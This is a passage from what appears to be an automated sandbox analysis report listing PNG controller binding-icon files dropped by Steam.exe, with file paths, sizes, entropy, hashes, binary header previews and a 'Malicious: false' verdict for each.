Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0356.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23550
Entropy (8bit):	7.913704271806458
Encrypted:	false
SSDEEP:
MD5:	B3DADF0F1A2291FC3FB39A76E41FC82C
SHA1:	A1B595191E0FDA61C92722C9A00443077C325609
SHA-256:	DF3E6306A583E114DB515EB47694E44C4B7928BBCD07930C3986006762CAEBC2
SHA-512:	98E11987CA8C3577A47CA16A3DA705543153F7E3BCED9C5D432178FCEF27D5A6FAB82B786E55879EDEA697358A492DF83F27B7020CEDFB2E8536821C98E34505
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0357.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20549
Entropy (8bit):	7.918998416862045
Encrypted:	false
SSDEEP:
MD5:	74E62A75AD8F271951E1CBD23ED40F1F
SHA1:	8279B2D37CB7AD6BA38A1C542E3F91EDD906661A
SHA-256:	BDC9D8B3DDF8E5B22A938888AE630FC473D33EADDA2107FD6183B86BDD9912DC
SHA-512:	2239D477CBCC974ACBFD81EFA373B4E1DA00C736B555F163CC0FD2D2C36E1BA78F7D7CC8BFF69D1ADF913F91CA4DE1209B8DB4269D90ACF36EE297F1865F7629
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0358.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15855
Entropy (8bit):	7.886766844535978
Encrypted:	false
SSDEEP:
MD5:	798DE55EDEB01B0C10FB7E90CD4CE5F8
SHA1:	808A6B75EC26577F8C57F6970298769F0C9749CA
SHA-256:	0F5C5CE3407F5740481A221598CFE4E280226C775E6073BB7506A6C2B5FFD578
SHA-512:	0EB0BE1771E82B8B0AF8E3FEB778B07161261B20809CEB1182B964813026C2931A897B79310BEE5B5804C721490890BBDE67512B35A3A1980F4DD50B1247A7CC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0359.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	30890
Entropy (8bit):	7.949995138205826
Encrypted:	false
SSDEEP:
MD5:	66015E13A23B4917623EC74BC3A1B545
SHA1:	43CFE3BDC9CB50770AFA81BB1D422E85328D725C
SHA-256:	1D7432396DF4A47D859049D7A31405C7E0045A71933400050D20B8D5A4CBF5D9
SHA-512:	B22F67F2F560C1C359CDDC288E1B8A834C8357E680C0B65C885E7BD66FAC0D60B8B0618AF04F7D1876E7316799F3E72664708A26EC796C3971F7CA81EEC099C4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0360.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16116
Entropy (8bit):	7.839126225104425
Encrypted:	false
SSDEEP:
MD5:	556ADFD967B63586AE954BF6D9C4AD40
SHA1:	7005CB2FF825CDBF3B891FBE8481354D3736590B
SHA-256:	356F51C73919EC789509E76ECCEAC41ACA6E42DB3041DDFBEBD87FD225FA9C64
SHA-512:	AE5BE52179122860DDBDE1B5E327CBA0694FED93EC9EAD4DC862ECB407C6420E8655D1A49757FC064A7BC21AFA11E1AAA3BA3E101A5A4921217499D2D48E19F0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0361.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21190
Entropy (8bit):	7.921384626685551
Encrypted:	false
SSDEEP:
MD5:	4A250E8DFE52AB2B8B60DABDD37117BD
SHA1:	5C60B0AAE8EEBC750E0BFE3D6B143DF7E051144D
SHA-256:	EB0545BD609C5D29CECE526113A2B35D842AC5AF00D6E26C476096FE17DF3B6D
SHA-512:	A9FF6122131B39A9740F036975447A66C7D91ED98F3CE6017E03DAD8CE31BFC357DD2A6D5ADDC6198CA0D28F38C8A057729428DDC8A6158F434EC812F1899228
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0362.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18522
Entropy (8bit):	7.899728707207231
Encrypted:	false
SSDEEP:
MD5:	7E6ADFA1208CAADC421EA32FFDB34061
SHA1:	97F5AFD9DE80FDA5ED0DD4A50485D3CCA96B4C65
SHA-256:	EBA8791D8609FE3617BBE6786FE87F0BA7509B13FB033AB5F166067C13F378A3
SHA-512:	9F819D58DF4A785D053322C5DE39590238B1B66F8135D1EA453B74CE85C5DB2826A74FCD009EC5D6F253BF8195BD473E162F76EF6E08990970D80DA53CAACFB9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0363.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18116
Entropy (8bit):	7.874955878665774
Encrypted:	false
SSDEEP:
MD5:	AE73594944111796C1852E80B9532EFE
SHA1:	C34224B434132C577D12FE81449499741431DBD5
SHA-256:	39420AFBC9A344FA07BD773D4C28EA3E4A816FA70B96A96C9990A09529A5FF7B
SHA-512:	EA89B91F8E2A79EC51A3A34416581B7CFF9B39EEB82274E93139793D016576122C0714604C84CF672C594FDF4FDB2F07998119C3214CCBDCCC2C355759250795
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0364.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10280
Entropy (8bit):	7.695636495551834
Encrypted:	false
SSDEEP:
MD5:	861DC83C7D89B26005D1971D280D28B6
SHA1:	20ACECFFFED6CA13624A374C000BFC29DE7C38BF
SHA-256:	AF59F3845FD4467CA9D0614A43892EFA25A1CD0D17851C62D7F0C19E344B99A1
SHA-512:	4A44E6822362AB6F4D27E23359C4C8632C2FB4FDA95C9E0EDC0290ED6AA47509CE3A98950F03363867D289F7F052C8CAAF4C0A869161C8CD6531A816D5E891F5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0365.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12153
Entropy (8bit):	7.643456273877141
Encrypted:	false
SSDEEP:
MD5:	A672199A1E350B98D3B62C49A833F7F9
SHA1:	BFFDA14F2E2DCCF07440D2261C5A06D6D64FE8A4
SHA-256:	3E68F18A8862D009E3B455F70BB9293F9CE77DBE121ABB7C08A43C0BFEA26047
SHA-512:	2C9813B55A306E421442E63B5468BF20B1EA17F7AFC057014347B3786A362857951417AF9909F93AF0BF444E56BC7444DB737B0FEC3ACD2C0A06E58B1F06C686
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0010.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6678
Entropy (8bit):	7.76702715416939
Encrypted:	false
SSDEEP:
MD5:	0D07A7F03A590486DFBE3BD87BDBA852
SHA1:	B5370744B4E7EEF46C56954B5F020FBB12E2EB79
SHA-256:	E57452C3CE1D860321BAA15EC97837D069FA5AAE3FE9064172EE68A9650409D7
SHA-512:	301DC72CD09FE5B2C3FD9BA4B397759B3923061FBD7B4F796484229061D0821FA98AB2CF97BDEE875BB9307E5D74ABD5A0AD2C8EC1C0FBC6FBF7B809438B4158
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:131FC1E7826911E581EAFF0C0C7DA312" xmpMM:InstanceID="xmp.iid:131FC1E6826911E581EAFF0C0C7DA312" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.a....(IDATx.......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0020.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11307
Entropy (8bit):	7.885697103486914
Encrypted:	false
SSDEEP:
MD5:	C72AA07524D04C1EEBBD0B7D6894A33C
SHA1:	2A28A32AF8B7B6626A86968CA2053E711EAD833D
SHA-256:	FFCE78342185927FA07AF2CA70AF0305A75D492CBA7C781F8940870BD5DFCA3C
SHA-512:	C4B9F3090067977370E6DF6E8D911755DA420BEC4BD43113C28709A6D7784F2A56AB7F029D8F6D80D6E4C03C5306EEEFBB35D8D5BDC5071AF59825AC9688CF2E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:13339889826911E5AE0FDD72663C1633" xmpMM:InstanceID="xmp.iid:13339888826911E5AE0FDD72663C1633" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.J....(=IDATx..]...E.-

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0030.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14244
Entropy (8bit):	7.928935987226688
Encrypted:	false
SSDEEP:
MD5:	F7158277EE721F603D5FCC8731A51586
SHA1:	4F221FB7C60359B73BCB49477D305B00F942691D
SHA-256:	ACF355A2AE3A0AB44928A48AEA9FB5106AA74A70D3979A1EAF3FF53CEE84B909
SHA-512:	F476D5281002807AA9D4B8FDE1596F292FF95249B128C9E442EDADBB66016D056B1BACD5804E4087177F8E5E9AE5F2BAB96A8CD8595F7BDC3EEABE800B0C0C40
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1349E03B826911E58E85ABF1AD2CBB07" xmpMM:InstanceID="xmp.iid:1349E03A826911E58E85ABF1AD2CBB07" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>q.&...3.IDATx..]......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0040.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20286
Entropy (8bit):	7.96015468075898
Encrypted:	false
SSDEEP:
MD5:	A18FBE2812971F2ED9B5F5F7B0D20569
SHA1:	1ACF26FC3DA782004DC1D1405F8E290E0EA8FD78
SHA-256:	9834A82D7492B2E899ECF5A21ED0CBC8BDEF84E81CFD1A064224CE856BA35604
SHA-512:	B2444CE19D9B8E49E0C514E45CB25341B37F2F09BB7947D75B19428B41F19D12689192CEC0E0618E96DF02E77C43DDC6DA741E53878AF7AC77C74D56BFC59139
Malicious:	false
Reputation:	unknown
